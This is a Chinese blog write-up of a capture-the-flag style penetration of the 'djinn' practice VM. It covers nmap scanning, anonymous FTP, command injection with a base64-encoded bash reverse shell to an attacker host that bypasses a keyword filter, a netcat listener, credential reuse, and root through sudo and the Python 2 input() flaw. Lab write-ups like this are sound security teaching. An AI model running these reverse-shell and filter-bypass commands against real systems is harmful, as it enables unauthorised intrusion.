做一个靶机练习_djinn

五行缺金 · · 236 次点击 · · 开始浏览    
这是一个创建于 的文章,其中的信息可能已经有所发展或是发生改变。

前几天一直在背资料,背的很烦,找个靶机来玩玩.

<!--more-->

第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

现在拿到了靶机的 ip 地址,可以开始收集信息了,探测一下开放了哪些端口,先扫一万个试试,-O 参数可获取一些系统的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
7331/tcp open  swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous,无密码.登录成功.

Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt
226 Directory send OK.

分别把三个文件下载下来,查看信息

mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先访问一下试试
请输入图片描述
那再试试 7331 端口,这次有反馈了,爆破一把梭
请输入图片描述

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)
/genie (Status: 200)

访问一下 wish ,有个输入参数的地方,输入 id 试一下,可以执行命令
请输入图片描述
现在要想办法反弹 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 试试。
报错 Wrong choice of words 。猜测可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简单:echo "id" | base64 ,输出aWQK,这就是 id 这个命令编码之后的结果了,然后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,可以正常使用 echo,对反弹 shell 命令进行编码

echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口nc -lvp 2333,把反弹命令放到浏览器中执行,成功获取到 shell(我当时测试是监听的 8899 ,都是一样的)
请输入图片描述
这个反弹回来的 shell 有些命令不能执行,比如 su。。。不能切换用户,所以需要获取一个 pty。

python -c "import pty;pty.spawn('/bin/bash')"

提权

提权可以尝试找一找提权脚本来试试,我没有用,是慢慢的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,但是没有权限打开, sam 用户目录直接就没有权限访问。
继续找,在 nitish 下的 .dev 目录里有个 creds.txt,输出一下

cat creds.txt
nitish:p4ssw0rdStr3r0n9

password???密码到手了?切换用户试试,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有当前用户下有哪些命令可以一 root 执行
请输入图片描述
来试试这个 genie 是什么东西,用 man 查一下
请输入图片描述
可以做任何想做的事???我直接用 root 用户执行命令行不行?
请输入图片描述
没有权限,还 wish 个屁啊,放低点要求,我换成 sam 试试
请输入图片描述
可以,现在是 sam 了,再看一看有哪些可以以 root 执行的命令

Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

又来一个 /root/lago,再试试
请输入图片描述
这后面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,然后是利用 python 的 input
在 sam 的用户目录下有个 .pyc 文件,查看文件可以知道这是 /root/lago 编译出来的,对 .pyc 反编译,然后利用 python2 里面的 input 特性,只要条件符合,就执行成功,所以直接输入 num 就行

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

请输入图片描述

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步

有疑问加站长微信联系(非本文作者)

本文来自:Segmentfault

感谢作者:五行缺金

查看原文:做一个靶机练习_djinn

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:701969077

236 次点击  
加入收藏 微博
暂无回复
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传